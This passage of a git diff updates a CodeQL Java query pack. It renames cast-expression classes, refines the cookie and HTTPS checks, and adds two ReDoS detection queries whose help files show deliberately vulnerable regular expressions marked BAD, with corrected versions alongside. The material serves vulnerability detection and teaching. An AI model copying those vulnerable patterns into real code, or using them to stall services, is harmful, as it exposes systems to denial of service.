 predicate narrowerThanOrEqualTo(ArithExpr exp, NumType numType) {
   exp.getType().(NumType).widerThan(numType)
   implies
-  exists(CastExpr cast | cast.getAChildExpr() = exp | numType.widerThanOrEqualTo(cast.getType()))
+  exists(CastingExpr cast | cast.getAChildExpr() = exp | numType.widerThanOrEqualTo(cast.getType()))
 }
 
 private Guard sizeGuard(SsaVariable v, boolean branch, boolean upper) {
@@ -140,7 +140,7 @@ predicate upcastToWiderType(Expr e) {
   |
     exists(Variable v | v.getAnAssignedValue() = e and t2 = v.getType())
     or
-    exists(CastExpr c | c.getExpr() = e and t2 = c.getType())
+    exists(CastingExpr c | c.getExpr() = e and t2 = c.getType())
     or
     exists(ReturnStmt ret | ret.getResult() = e and t2 = ret.getEnclosingCallable().getReturnType())
     or
@@ -170,7 +170,7 @@ predicate overflowIrrelevant(Expr exp) {
  */
 private predicate unlikelyNode(DataFlow::Node n) {
   n.getTypeBound() instanceof TypeObject and
-  not exists(CastExpr cast |
+  not exists(CastingExpr cast |
     DataFlow::localFlow(n, DataFlow::exprNode(cast.getExpr())) and
     cast.getType() instanceof NumericOrCharType
   )
diff --git a/java/ql/src/Security/CWE/CWE-200/TempDirLocalInformationDisclosure.ql b/java/ql/src/Security/CWE/CWE-200/TempDirLocalInformationDisclosure.ql
index 01d60f1062e..16e8bb72c93 100644
--- a/java/ql/src/Security/CWE/CWE-200/TempDirLocalInformationDisclosure.ql
+++ b/java/ql/src/Security/CWE/CWE-200/TempDirLocalInformationDisclosure.ql
@@ -134,16 +134,6 @@ private class TempDirSystemGetPropertyToCreateConfig extends TaintTracking::Conf
     source.asExpr() instanceof ExprSystemGetPropertyTempDirTainted
   }
 
-  /**
-   * Find dataflow from the temp directory system property to the `File` constructor.
-   * Examples:
-   *  - `new File(System.getProperty("java.io.tmpdir"))`
-   *  - `new File(new File(System.getProperty("java.io.tmpdir")), "/child")`
-   */
-  override predicate isAdditionalTaintStep(DataFlow::Node node1, DataFlow::Node node2) {
-    isAdditionalFileTaintStep(node1, node2)
-  }
-
   override predicate isSink(DataFlow::Node sink) {
     sink instanceof FileCreationSink and
     not any(TempDirSystemGetPropertyDirectlyToMkdirConfig config).hasFlowTo(sink)
diff --git a/java/ql/src/Security/CWE/CWE-200/TempDirUtils.qll b/java/ql/src/Security/CWE/CWE-200/TempDirUtils.qll
index 1984f16a58c..cb2d8dd7875 100644
--- a/java/ql/src/Security/CWE/CWE-200/TempDirUtils.qll
+++ b/java/ql/src/Security/CWE/CWE-200/TempDirUtils.qll
@@ -35,32 +35,6 @@ predicate isFileConstructorArgument(Expr expSource, Expr exprDest, int paramCoun
   )
 }
 
-/**
- * A `File` method where the temporary directory is still part of the root path.
- */
-private class TaintFollowingFileMethod extends Method {
-  TaintFollowingFileMethod() {
-    this.getDeclaringType() instanceof TypeFile and
-    this.hasName(["getAbsoluteFile", "getCanonicalFile"])
-  }
-}
-
-private predicate isTaintPropagatingFileTransformation(Expr expSource, Expr exprDest) {
-  exists(MethodAccess fileMethodAccess |
-    fileMethodAccess.getMethod() instanceof TaintFollowingFileMethod and
-    fileMethodAccess.getQualifier() = expSource and
-    fileMethodAccess = exprDest
-  )
-}
-
-/**
- * Holds if taint should propagate from `node1` to `node2` across some file creation or transformation operation.
- * For example, `taintedFile.getCanonicalFile()` is itself tainted.
- */
-predicate isAdditionalFileTaintStep(DataFlow::Node node1, DataFlow::Node node2) {
-  isTaintPropagatingFileTransformation(node1.asExpr(), node2.asExpr())
-}
-
 /**
  * A method call to `java.io.File::setReadable`.
  */
diff --git a/java/ql/src/Security/CWE/CWE-319/HttpsUrls.ql b/java/ql/src/Security/CWE/CWE-319/HttpsUrls.ql
index da5d847b4dd..123313e2177 100644
--- a/java/ql/src/Security/CWE/CWE-319/HttpsUrls.ql
+++ b/java/ql/src/Security/CWE/CWE-319/HttpsUrls.ql
@@ -14,10 +14,7 @@ import java
 import semmle.code.java.security.HttpsUrlsQuery
 import DataFlow::PathGraph
 
-from DataFlow::PathNode source, DataFlow::PathNode sink, MethodAccess m, HttpStringLiteral s
-where
-  source.getNode().asExpr() = s and
-  sink.getNode().asExpr() = m.getQualifier() and
-  any(HttpStringToUrlOpenMethodFlowConfig c).hasFlowPath(source, sink)
-select m, source, sink, "URL may have been constructed with HTTP protocol, using $@.", s,
-  "this source"
+from DataFlow::PathNode source, DataFlow::PathNode sink
+where any(HttpStringToUrlOpenMethodFlowConfig c).hasFlowPath(source, sink)
+select sink.getNode(), source, sink, "URL may have been constructed with HTTP protocol, using $@.",
+  source.getNode(), "this source"
diff --git a/java/ql/src/Security/CWE/CWE-335/PredictableSeed.ql b/java/ql/src/Security/CWE/CWE-335/PredictableSeed.ql
index cf9b5bbbb50..1941b8fd10c 100644
--- a/java/ql/src/Security/CWE/CWE-335/PredictableSeed.ql
+++ b/java/ql/src/Security/CWE/CWE-335/PredictableSeed.ql
@@ -8,6 +8,7 @@
  * @id java/predictable-seed
  * @tags security
  *       external/cwe/cwe-335
+ *       external/cwe/cwe-337
  */
 
 import java
diff --git a/java/ql/src/Security/CWE/CWE-614/InsecureCookie.ql b/java/ql/src/Security/CWE/CWE-614/InsecureCookie.ql
index 0fe19ef9c7c..de4a3bd8ffe 100644
--- a/java/ql/src/Security/CWE/CWE-614/InsecureCookie.ql
+++ b/java/ql/src/Security/CWE/CWE-614/InsecureCookie.ql
@@ -13,6 +13,18 @@
 
 import java
 import semmle.code.java.frameworks.Servlets
+import semmle.code.java.dataflow.DataFlow
+
+predicate isSafeSecureCookieSetting(Expr e) {
+  e.(CompileTimeConstantExpr).getBooleanValue() = true
+  or
+  exists(Method isSecure |
+    isSecure.getName() = "isSecure" and
+    isSecure.getDeclaringType().getASourceSupertype*() instanceof ServletRequest
+  |
+    e.(MethodAccess).getMethod() = isSecure
+  )
+}
 
 from MethodAccess add
 where
@@ -20,7 +32,12 @@ where
   not exists(Variable cookie, MethodAccess m |
     add.getArgument(0) = cookie.getAnAccess() and
     m.getMethod().getName() = "setSecure" and
-    m.getArgument(0).(CompileTimeConstantExpr).getBooleanValue() = true and
+    forex(DataFlow::Node argSource |
+      DataFlow::localFlow(argSource, DataFlow::exprNode(m.getArgument(0))) and
+      not DataFlow::localFlowStep(_, argSource)
+    |
+      isSafeSecureCookieSetting(argSource.asExpr())
+    ) and
     m.getQualifier() = cookie.getAnAccess()
   )
 select add, "Cookie is added to response without the 'secure' flag being set."
diff --git a/java/ql/src/Security/CWE/CWE-730/PolynomialReDoS.qhelp b/java/ql/src/Security/CWE/CWE-730/PolynomialReDoS.qhelp
new file mode 100644
index 00000000000..dbb1f4c37f5
--- /dev/null
+++ b/java/ql/src/Security/CWE/CWE-730/PolynomialReDoS.qhelp
@@ -0,0 +1,108 @@
+<!DOCTYPE qhelp PUBLIC
+"-//Semmle//qhelp//EN"
+"qhelp.dtd">
+
+<qhelp>
+
+	<include src="ReDoSIntroduction.inc.qhelp" />
+
+	<example>
+		<p>
+
+			Consider this use of a regular expression, which removes
+			all leading and trailing whitespace in a string:
+
+		</p>
+
+		<sample language="java">
+			Pattern.compile("^\\s+|\\s+$").matcher(text).replaceAll("") // BAD
+		</sample>
+
+		<p>
+
+			The sub-expression <code>"\\s+$"</code> will match the
+			whitespace characters in <code>text</code> from left to right, but it
+			can start matching anywhere within a whitespace sequence. This is
+			problematic for strings that do <strong>not</strong> end with a whitespace
+			character. Such a string will force the regular expression engine to
+			process each whitespace sequence once per whitespace character in the
+			sequence.
+
+		</p>
+
+		<p>
+
+			This ultimately means that the time cost of trimming a
+			string is quadratic in the length of the string. So a string like
+			<code>"a b"</code> will take milliseconds to process, but a similar
+			string with a million spaces instead of just one will take several
+			minutes.
+
+		</p>
+
+		<p>
+
+			Avoid this problem by rewriting the regular expression to
+			not contain the ambiguity about when to start matching whitespace
+			sequences. For instance, by using a negative look-behind
+			(<code>"^\\s+|(?&lt;!\\s)\\s+$"</code>), or just by using the built-in trim
+			method (<code>text.trim()</code>).
+
+		</p>
+
+		<p>
+
+			Note that the sub-expression <code>"^\\s+"</code> is
+			<strong>not</strong> problematic as the <code>^</code> anchor restricts
+			when that sub-expression can start matching, and as the regular
+			expression engine matches from left to right.
+
+		</p>
+
+	</example>
+
+	<example>
+
+		<p>
+
+			As a similar, but slightly subtler problem, consider the
+			regular expression that matches lines with numbers, possibly written
+			using scientific notation:
+		</p>
+
+		<sample language="java">
+			"^0\\.\\d+E?\\d+$"" 
+		</sample>
+
+		<p>
+
+			The problem with this regular expression is in the
+			sub-expression <code>\d+E?\d+</code> because the second
+			<code>\d+</code> can start matching digits anywhere after the first
+			match of the first <code>\d+</code> if there is no <code>E</code> in
+			the input string.
+
+		</p>
+
+		<p>
+
+			This is problematic for strings that do <strong>not</strong>
+			end with a digit. Such a string will force the regular expression
+			engine to process each digit sequence once per digit in the sequence,
+			again leading to a quadratic time complexity.
+
+		</p>
+
+		<p>
+
+			To make the processing faster, the regular expression
+			should be rewritten such that the two <code>\d+</code> sub-expressions
+			do not have overlapping matches: <code>"^0\\.\\d+(E\\d+)?$"</code>.
+
+		</p>
+
+	</example>
+
+	<include src="ReDoSReferences.inc.qhelp"/>
+
+</qhelp>
diff --git a/java/ql/src/Security/CWE/CWE-730/PolynomialReDoS.ql b/java/ql/src/Security/CWE/CWE-730/PolynomialReDoS.ql
new file mode 100644
index 00000000000..1a52173183f
--- /dev/null
+++ b/java/ql/src/Security/CWE/CWE-730/PolynomialReDoS.ql
@@ -0,0 +1,24 @@
+/**
+ * @name Polynomial regular expression used on uncontrolled data
+ * @description A regular expression that can require polynomial time
+ *              to match may be vulnerable to denial-of-service attacks.
+ * @kind path-problem
+ * @problem.severity warning
+ * @security-severity 7.5
+ * @precision high
+ * @id java/polynomial-redos
+ * @tags security
+ *       external/cwe/cwe-730
+ *       external/cwe/cwe-400
+ */
+
+import java
+import semmle.code.java.security.performance.PolynomialReDoSQuery
+import DataFlow::PathGraph
+
+from DataFlow::PathNode source, DataFlow::PathNode sink, PolynomialBackTrackingTerm regexp
+where hasPolynomialReDoSResult(source, sink, regexp)
+select sink, source, sink,
+  "This $@ that depends on $@ may run slow on strings " + regexp.getPrefixMessage() +
+    "with many repetitions of '" + regexp.getPumpString() + "'.", regexp, "regular expression",
+  source.getNode(), "a user-provided value"
diff --git a/java/ql/src/Security/CWE/CWE-730/ReDoS.qhelp b/java/ql/src/Security/CWE/CWE-730/ReDoS.qhelp
new file mode 100644
index 00000000000..08b67acb638
--- /dev/null
+++ b/java/ql/src/Security/CWE/CWE-730/ReDoS.qhelp
@@ -0,0 +1,34 @@
+<!DOCTYPE qhelp PUBLIC
+"-//Semmle//qhelp//EN"
+"qhelp.dtd">
+
+<qhelp>
+
+	<include src="ReDoSIntroduction.inc.qhelp" />
+
+	<example>
+		<p>
+			Consider this regular expression:
+		</p>
+		<sample language="java">
+			^_(__|.)+_$
+		</sample>
+		<p>
+			Its sub-expression <code>"(__|.)+?"</code> can match the string <code>"__"</code> either by the
+			first alternative <code>"__"</code> to the left of the <code>"|"</code> operator, or by two
+			repetitions of the second alternative <code>"."</code> to the right. Thus, a string consisting
+			of an odd number of underscores followed by some other character will cause the regular
+			expression engine to run for an exponential amount of time before rejecting the input.
+		</p>
+		<p>
+			This problem can be avoided by rewriting the regular expression to remove the ambiguity between
+			the two branches of the alternative inside the repetition:
+		</p>
+		<sample language="java">
+			^_(__|[^_])+_$
+		</sample>
+	</example>
+
+	<include src="ReDoSReferences.inc.qhelp"/>
+
+</qhelp>
diff --git a/java/ql/src/Security/CWE/CWE-730/ReDoS.ql b/java/ql/src/Security/CWE/CWE-730/ReDoS.ql
new file mode 100644
index 00000000000..c5d9661a63b
--- /dev/null
+++ b/java/ql/src/Security/CWE/CWE-730/ReDoS.ql
@@ -0,0 +1,26 @@
+/**
+ * @name Inefficient regular expression
+ * @description A regular expression that requires exponential time to match certain inputs
+ *              can be a performance bottleneck, and may be vulnerable to denial-of-service
+ *              attacks.
+ * @kind problem
+ * @problem.severity error
+ * @security-severity 7.5
+ * @precision high
+ * @id java/redos
+ * @tags security
+ *       external/cwe/cwe-730
+ *       external/cwe/cwe-400
+ */
+
+import java
+import semmle.code.java.security.performance.ExponentialBackTracking
+
+from RegExpTerm t, string pump, State s, string prefixMsg
+where
+  hasReDoSResult(t, pump, s, prefixMsg) and
+  // exclude verbose mode regexes for now
+  not t.getRegex().getAMode() = "VERBOSE"
+select t,
+  "This part of the regular expression may cause exponential backtracking on strings " + prefixMsg +
+    "containing many repetitions of '" + pump + "'."
diff --git a/java/ql/src/Security/CWE/CWE-730/ReDoSIntroduction.inc.qhelp b/java/ql/src/Security/CWE/CWE-730/ReDoSIntroduction.inc.qhelp
new file mode 100644
index 00000000000..f6e4dbd0a5f
--- /dev/null
+++ b/java/ql/src/Security/CWE/CWE-730/ReDoSIntroduction.inc.qhelp
@@ -0,0 +1,61 @@
+<!DOCTYPE qhelp PUBLIC
+"-//Semmle//qhelp//EN"
+"qhelp.dtd">
+<qhelp>
+	<overview>
+		<p>
+
+			Some regular expressions take a long time to match certain
+			input strings to the point where the time it takes to match a string
+			of length <i>n</i> is proportional to <i>n<sup>k</sup></i> or even
+			<i>2<sup>n</sup></i>.  Such regular expressions can negatively affect
+			performance, or even allow a malicious user to perform a Denial of
+			Service ("DoS") attack by crafting an expensive input string for the
+			regular expression to match.
+
+		</p>
+
+		<p>
+
+			The regular expression engine provided by Java uses a backtracking non-deterministic finite
+			automata to implement regular expression matching. While this approach
+			is space-efficient and allows supporting advanced features like
+			capture groups, it is not time-efficient in general. The worst-case
+			time complexity of such an automaton can be polynomial or even
+			exponential, meaning that for strings of a certain shape, increasing
+			the input length by ten characters may make the automaton about 1000
+			times slower.
+
+		</p>
+
+		<p>
+
+			Typically, a regular expression is affected by this
+			problem if it contains a repetition of the form <code>r*</code> or
+			<code>r+</code> where the sub-expression <code>r</code> is ambiguous
+			in the sense that it can match some string in multiple ways. More
+			information about the precise circumstances can be found in the
+			references.
+
+		</p>
+
+		<p>
+			Note that Java versions 9 and above have some mitigations against ReDoS; however they aren't perfect 
+			and more complex regular expressions can still be affected by this problem. 
+		</p>
+	</overview>
+
+	<recommendation>
+
+		<p>
+
+			Modify the regular expression to remove the ambiguity, or
+			ensure that the strings matched with the regular expression are short
+			enough that the time-complexity does not matter.
+
+			Alternatively, an alternate regex library that guarantees linear time execution, such as Google's RE2J, may be used. 
+
+		</p>
+
+	</recommendation>
+</qhelp>
diff --git a/java/ql/src/Security/CWE/CWE-730/ReDoSReferences.inc.qhelp b/java/ql/src/Security/CWE/CWE-730/ReDoSReferences.inc.qhelp
new file mode 100644
index 00000000000..2b3e5f17c62
--- /dev/null
+++ b/java/ql/src/Security/CWE/CWE-730/ReDoSReferences.inc.qhelp
@@ -0,0 +1,16 @@
+<!DOCTYPE qhelp PUBLIC
+"-//Semmle//qhelp//EN"
+"qhelp.dtd">
+<qhelp>
+	<references>
+		<li>
+			OWASP:
+			<a href="https://www.owasp.org/index.php/Regular_expression_Denial_of_Service_-_ReDoS">Regular expression Denial of Service - ReDoS</a>.
+		</li>
+		<li>Wikipedia: <a href="https://en.wikipedia.org/wiki/ReDoS">ReDoS</a>.</li>
+		<li>Wikipedia: <a href="https://en.wikipedia.org/wiki/Time_complexity">Time complexity</a>.</li>
+		<li>James Kirrage, Asiri Rathnayake, Hayo Thielecke:
+		<a href="http://www.cs.bham.ac.uk/~hxt/research/reg-exp-sec.pdf">Static Analysis for Regular Expression Denial-of-Service Attack</a>.
+		</li>
+	</references>
+</qhelp>
diff --git a/java/ql/src/Telemetry/ExternalApi.qll b/java/ql/src/Telemetry/ExternalApi.qll
index e0a13404a32..b989d1d4228 100644
--- a/java/ql/src/Telemetry/ExternalApi.qll
+++ b/java/ql/src/Telemetry/ExternalApi.qll
@@ -69,7 +69,7 @@ class ExternalApi extends Callable {
 
   /** Holds if this API has a supported summary. */
   predicate hasSummary() {
-    this = any(SummarizedCallable sc).asCallable() or
+    this instanceof SummarizedCallable or
     TaintTracking::localAdditionalTaintStep(this.getAnInput(), _)
   }
 
diff --git a/java/ql/src/Telemetry/ExternalLibraryUsage.ql b/java/ql/src/Telemetry/ExternalLibraryUsage.ql
index 8b01bfca5cd..a2742107572 100644
--- a/java/ql/src/Telemetry/ExternalLibraryUsage.ql
+++ b/java/ql/src/Telemetry/ExternalLibraryUsage.ql
@@ -2,7 +2,7 @@
  * @name External libraries
  * @description A list of external libraries used in the code
  * @kind metric
- * @tags summary
+ * @tags summary telemetry
  * @id java/telemetry/external-libs
  */
 
diff --git a/java/ql/src/Telemetry/SupportedExternalSinks.ql b/java/ql/src/Telemetry/SupportedExternalSinks.ql
index 760a14cb722..665f6877cb3 100644
--- a/java/ql/src/Telemetry/SupportedExternalSinks.ql
+++ b/java/ql/src/Telemetry/SupportedExternalSinks.ql
@@ -2,7 +2,7 @@
  * @name Supported sinks in external libraries
  * @description A list of 3rd party APIs detected as sinks. Excludes test and generated code.
  * @kind metric
- * @tags summary
+ * @tags summary telemetry
  * @id java/telemetry/supported-external-api-sinks
  */
 
diff --git a/java/ql/src/Telemetry/SupportedExternalSources.ql b/java/ql/src/Telemetry/SupportedExternalSources.ql
index 4b1bc2a6595..ecc00d84590 100644
--- a/java/ql/src/Telemetry/SupportedExternalSources.ql
+++ b/java/ql/src/Telemetry/SupportedExternalSources.ql
@@ -2,7 +2,7 @@
  * @name Supported sources in external libraries
  * @description A list of 3rd party APIs detected as sources. Excludes test and generated code.
  * @kind metric
- * @tags summary
+ * @tags summary telemetry
  * @id java/telemetry/supported-external-api-sources
  */
 
diff --git a/java/ql/src/Telemetry/SupportedExternalTaint.ql b/java/ql/src/Telemetry/SupportedExternalTaint.ql
index 17f1a33bcc6..e1722142114 100644
--- a/java/ql/src/Telemetry/SupportedExternalTaint.ql
+++ b/java/ql/src/Telemetry/SupportedExternalTaint.ql
@@ -2,7 +2,7 @@
  * @name Supported flow steps in external libraries
  * @description A list of 3rd party APIs detected as flow steps. Excludes test and generated code.
  * @kind metric
- * @tags summary
+ * @tags summary telemetry
  * @id java/telemetry/supported-external-api-taint
  */
 
diff --git a/java/ql/src/Telemetry/UnsupportedExternalAPIs.ql b/java/ql/src/Telemetry/UnsupportedExternalAPIs.ql
index f01c59b2a13..3aefd85b5a1 100644
--- a/java/ql/src/Telemetry/UnsupportedExternalAPIs.ql
+++ b/java/ql/src/Telemetry/UnsupportedExternalAPIs.ql
@@ -2,7 +2,7 @@
  * @name Usage of unsupported APIs coming from external libraries
  * @description A list of 3rd party APIs used in the codebase. Excludes test and generated code.
  * @kind metric
- * @tags summary
+ * @tags summary telemetry
  * @id java/telemetry/unsupported-external-api
  */
 
diff --git a/java/ql/src/Violations of Best Practice/Boolean Logic/SimplifyBoolExpr.ql b/java/ql/src/Violations of Best Practice/Boolean Logic/SimplifyBoolExpr.ql
index 178f5dbd847..814a45bef6d 100644
--- a/java/ql/src/Violations of Best Practice/Boolean Logic/SimplifyBoolExpr.ql	
+++ b/java/ql/src/Violations of Best Practice/Boolean Logic/SimplifyBoolExpr.ql	
@@ -15,13 +15,25 @@ class BoolCompare extends EqualityTest {
 
   predicate simplify(string pattern, string rewrite) {
     exists(boolean b | b = this.getAnOperand().(BooleanLiteral).getBooleanValue() |
-      this instanceof EQExpr and b = true and pattern = "A == true" and rewrite = "A"
+      this instanceof ValueOrReferenceEqualsExpr and
+      b = true and
+      pattern = "A == true" and
+      rewrite = "A"
       or
-      this instanceof NEExpr and b = false and pattern = "A != false" and rewrite = "A"
+      this instanceof ValueOrReferenceNotEqualsExpr and
+      b = false and
+      pattern = "A != false" and
+      rewrite = "A"
       or
-      this instanceof EQExpr and b = false and pattern = "A == false" and rewrite = "!A"
+      this instanceof ValueOrReferenceEqualsExpr and
+      b = false and
+      pattern = "A == false" and
+      rewrite = "!A"
       or
-      this instanceof NEExpr and b = true and pattern = "A != true" and rewrite = "!A"
+      this instanceof ValueOrReferenceNotEqualsExpr and
+      b = true and
+      pattern = "A != true" and
+      rewrite = "!A"
     )
   }
 }
diff --git a/java/ql/src/Violations of Best Practice/Dead Code/DeadRefTypes.ql b/java/ql/src/Violations of Best Practice/Dead Code/DeadRefTypes.ql
index ca2b957e9e4..e2c62f6d4e1 100644
--- a/java/ql/src/Violations of Best Practice/Dead Code/DeadRefTypes.ql	
+++ b/java/ql/src/Violations of Best Practice/Dead Code/DeadRefTypes.ql	
@@ -50,7 +50,9 @@ predicate dead(RefType dead) {
   // Exclude classes that look like they may be reflectively constructed.
   not dead.getAnAnnotation() instanceof ReflectiveAccessAnnotation and
   // Insist all source ancestors are dead as well.
-  forall(RefType t | t.fromSource() and t = getASuperTypePlus(dead) | dead(t))
+  forall(RefType t | t.fromSource() and t = getASuperTypePlus(dead) | dead(t)) and
+  // Exclude compiler generated classes (e.g. declaring type of adapter functions in Kotlin)
+  not dead.isCompilerGenerated()
 }
 
 from RefType t, string kind
diff --git a/java/ql/src/Violations of Best Practice/Dead Code/DeadStoreOfLocal.ql b/java/ql/src/Violations of Best Practice/Dead Code/DeadStoreOfLocal.ql
index c2dd74b5745..cf555ad92d1 100644
--- a/java/ql/src/Violations of Best Practice/Dead Code/DeadStoreOfLocal.ql	
+++ b/java/ql/src/Violations of Best Practice/Dead Code/DeadStoreOfLocal.ql	
@@ -24,7 +24,7 @@ predicate flowStep(Expr decl, Expr init) {
     init = f.getAnAssignedValue()
   )
   or
-  decl.(CastExpr).getExpr() = init
+  decl.(CastingExpr).getExpr() = init
 }
 
 predicate excludedInit(Type t, Expr decl) {
diff --git a/java/ql/src/Violations of Best Practice/Exception Handling/IgnoreExceptionalReturn.ql b/java/ql/src/Violations of Best Practice/Exception Handling/IgnoreExceptionalReturn.ql
index cbdaddf3b45..5a03dafa673 100644
--- a/java/ql/src/Violations of Best Practice/Exception Handling/IgnoreExceptionalReturn.ql	
+++ b/java/ql/src/Violations of Best Practice/Exception Handling/IgnoreExceptionalReturn.ql	
@@ -45,7 +45,7 @@ predicate unboundedQueue(RefType t) {
 
 from MethodAccess ma, SpecialMethod m
 where
-  ma.getParent() instanceof ExprStmt and
+  ma instanceof ValueDiscardingExpr and
   m = ma.getMethod() and
   (
     m.isMethod("java.util", "Queue", "offer", 1) and not unboundedQueue(m.getDeclaringType())
diff --git a/java/ql/src/Violations of Best Practice/Implementation Hiding/AbstractToConcreteCollection.ql b/java/ql/src/Violations of Best Practice/Implementation Hiding/AbstractToConcreteCollection.ql
index 1200e1efbff..9faf348cf97 100644
--- a/java/ql/src/Violations of Best Practice/Implementation Hiding/AbstractToConcreteCollection.ql	
+++ b/java/ql/src/Violations of Best Practice/Implementation Hiding/AbstractToConcreteCollection.ql	
@@ -33,7 +33,7 @@ predicate guardedByInstanceOf(VarAccess e, RefType t) {
   )
 }
 
-from CastExpr e, CollectionType c, CollectionType coll, string abstractName, string concreteName
+from CastingExpr e, CollectionType c, CollectionType coll, string abstractName, string concreteName
 where
   coll instanceof Interface and
   c instanceof Class and
diff --git a/java/ql/src/Violations of Best Practice/Magic Constants/MagicConstants.qll b/java/ql/src/Violations of Best Practice/Magic Constants/MagicConstants.qll
index 585921bb823..11dbd5cd8d3 100644
--- a/java/ql/src/Violations of Best Practice/Magic Constants/MagicConstants.qll	
+++ b/java/ql/src/Violations of Best Practice/Magic Constants/MagicConstants.qll	
@@ -55,7 +55,7 @@ private predicate powerOfTen(float f) {
 }
 
 private predicate floatTrivial(Literal lit) {
-  (lit instanceof FloatingPointLiteral or lit instanceof DoubleLiteral) and
+  (lit instanceof FloatLiteral or lit instanceof DoubleLiteral) and
   exists(float f |
     f = lit.getValue().toFloat() and
     (f.abs() <= 20.0 or powerOfTen(f))
diff --git a/java/ql/src/Violations of Best Practice/Naming Conventions/ConfusingOverloading.ql b/java/ql/src/Violations of Best Practice/Naming Conventions/ConfusingOverloading.ql
index 22bf9d36142..726c2453f65 100644
--- a/java/ql/src/Violations of Best Practice/Naming Conventions/ConfusingOverloading.ql	
+++ b/java/ql/src/Violations of Best Practice/Naming Conventions/ConfusingOverloading.ql	
@@ -85,7 +85,7 @@ private predicate confusinglyOverloaded(Method m, Method n) {
 
 private predicate wrappedAccess(Expr e, MethodAccess ma) {
   e = ma or
-  wrappedAccess(e.(CastExpr).getExpr(), ma)
+  wrappedAccess(e.(CastingExpr).getExpr(), ma)
 }
 
 private predicate delegate(Method caller, Method callee) {
@@ -99,7 +99,7 @@ private predicate delegate(Method caller, Method callee) {
       arg = p.getAnAccess()
       or
       // The parameter is cast to a supertype.
-      arg.(CastExpr).getExpr() = p.getAnAccess() and
+      arg.(CastingExpr).getExpr() = p.getAnAccess() and
       arg.getType().(RefType).getASubtype() = p.getType()
     )
   )
diff --git a/java/ql/src/Violations of Best Practice/legacy/UnnecessaryCast.ql b/java/ql/src/Violations of Best Practice/legacy/UnnecessaryCast.ql
index 2d760a374b3..a8e1e7262d2 100644
--- a/java/ql/src/Violations of Best Practice/legacy/UnnecessaryCast.ql	
+++ b/java/ql/src/Violations of Best Practice/legacy/UnnecessaryCast.ql	
@@ -11,8 +11,9 @@
 
 import java
 
-from CastExpr redundant, Type type
+from CastingExpr redundant, Type type
 where
+  (redundant instanceof CastExpr or redundant instanceof SafeCastExpr) and
   redundant.getType() = type and
   type = redundant.getExpr().getType()
 select redundant, "This cast is redundant - the expression is already of type '" + type + "'."
diff --git a/java/ql/src/change-notes/2022-03-03-redos.md b/java/ql/src/change-notes/2022-03-03-redos.md
new file mode 100644
index 00000000000..daf1dd51be1
--- /dev/null
+++ b/java/ql/src/change-notes/2022-03-03-redos.md
@@ -0,0 +1,6 @@
+---
+category: newQuery
+---
+
+* Two new queries "Inefficient regular expression" (`java/redos`) and "Polynomial regular expression used on uncontrolled data" (`java/polynomial-redos`) have been added.
+These queries help find instances of Regular Expression Denial of Service vulnerabilities. 
\ No newline at end of file
diff --git a/java/ql/src/change-notes/2022-04-26-insecure-cookie-named-constants.md b/java/ql/src/change-notes/2022-04-26-insecure-cookie-named-constants.md
deleted file mode 100644
index e0c892752da..00000000000
--- a/java/ql/src/change-notes/2022-04-26-insecure-cookie-named-constants.md
+++ /dev/null
@@ -1,6 +0,0 @@
----
-category: minorAnalysis
----
-* Query `java/insecure-cookie` no longer produces a false positive if 
-`cookie.setSecure(...)` is called passing a constant that always equals 
-`true`.
diff --git a/java/ql/src/change-notes/2022-05-12-sensitive-log-improvements.md b/java/ql/src/change-notes/2022-05-12-sensitive-log-improvements.md
new file mode 100644
index 00000000000..bbd6e58e589
--- /dev/null
+++ b/java/ql/src/change-notes/2022-05-12-sensitive-log-improvements.md
@@ -0,0 +1,7 @@
+---
+category: minorAnalysis
+---
+* Query `java/sensitive-log` has received several improvements.
+  * It no longer considers usernames as sensitive information.
+  * The conditions to consider a variable a constant (and therefore exclude it as user-provided sensitive information) have been tightened.
+  * A sanitizer has been added to handle certain elements introduced by a Kotlin compiler plugin that have deceptive names.
diff --git a/java/ql/src/change-notes/released/0.1.1.md b/java/ql/src/change-notes/released/0.1.1.md
new file mode 100644
index 00000000000..7bc7742c49a
--- /dev/null
+++ b/java/ql/src/change-notes/released/0.1.1.md
@@ -0,0 +1,5 @@
+## 0.1.1
+
+### Minor Analysis Improvements
+
+* Query `java/insecure-cookie` no longer produces a false positive if `cookie.setSecure(...)` is called passing a constant that always equals `true`.
diff --git a/java/ql/src/change-notes/released/0.1.2.md b/java/ql/src/change-notes/released/0.1.2.md
new file mode 100644
index 00000000000..30d252be3de
--- /dev/null
+++ b/java/ql/src/change-notes/released/0.1.2.md
@@ -0,0 +1,12 @@
+## 0.1.2
+
+### Query Metadata Changes
+
+* Query `java/predictable-seed` now has a tag for CWE-337. 
+
+### Minor Analysis Improvements
+
+* Query `java/insecure-cookie` now tolerates setting a cookie's secure flag to `request.isSecure()`. This means servlets that intentionally accept unencrypted connections will no longer raise an alert.
+* The query `java/non-https-urls` has been simplified
+and no longer requires its sinks to be `MethodAccess`es.
+* The logic to detect `WebView`s with JavaScript (and optionally file access) enabled in the query `java/android/unsafe-android-webview-fetch` has been improved.
diff --git a/java/ql/src/codeql-pack.release.yml b/java/ql/src/codeql-pack.release.yml
index 2e08f40f6aa..6abd14b1ef8 100644
--- a/java/ql/src/codeql-pack.release.yml
+++ b/java/ql/src/codeql-pack.release.yml
@@ -1,2 +1,2 @@
 ---
-lastReleaseVersion: 0.1.0
+lastReleaseVersion: 0.1.2
diff --git a/java/ql/src/experimental/Security/CWE/CWE-200/AndroidFileIntentSink.qll b/java/ql/src/experimental/Security/CWE/CWE-200/AndroidFileIntentSink.qll
index b6d799c9266..e8795a25431 100644
--- a/java/ql/src/experimental/Security/CWE/CWE-200/AndroidFileIntentSink.qll
+++ b/java/ql/src/experimental/Security/CWE/CWE-200/AndroidFileIntentSink.qll
@@ -2,7 +2,7 @@
 
 import java
 import semmle.code.java.dataflow.DataFlow
-import semmle.code.java.dataflow.ExternalFlow
+private import semmle.code.java.dataflow.ExternalFlow
 import semmle.code.java.frameworks.android.Android
 import semmle.code.java.frameworks.android.Intent
 
diff --git a/java/ql/src/experimental/Security/CWE/CWE-200/SensitiveAndroidFileLeak.ql b/java/ql/src/experimental/Security/CWE/CWE-200/SensitiveAndroidFileLeak.ql
index 6cc6c09be87..d3d632144b1 100644
--- a/java/ql/src/experimental/Security/CWE/CWE-200/SensitiveAndroidFileLeak.ql
+++ b/java/ql/src/experimental/Security/CWE/CWE-200/SensitiveAndroidFileLeak.ql
@@ -42,7 +42,9 @@ class AndroidFileLeakConfig extends TaintTracking::Configuration {
       OnActivityForResultMethod oafr, ConditionBlock cb, CompileTimeConstantExpr cc,
       VarAccess intentVar
     |
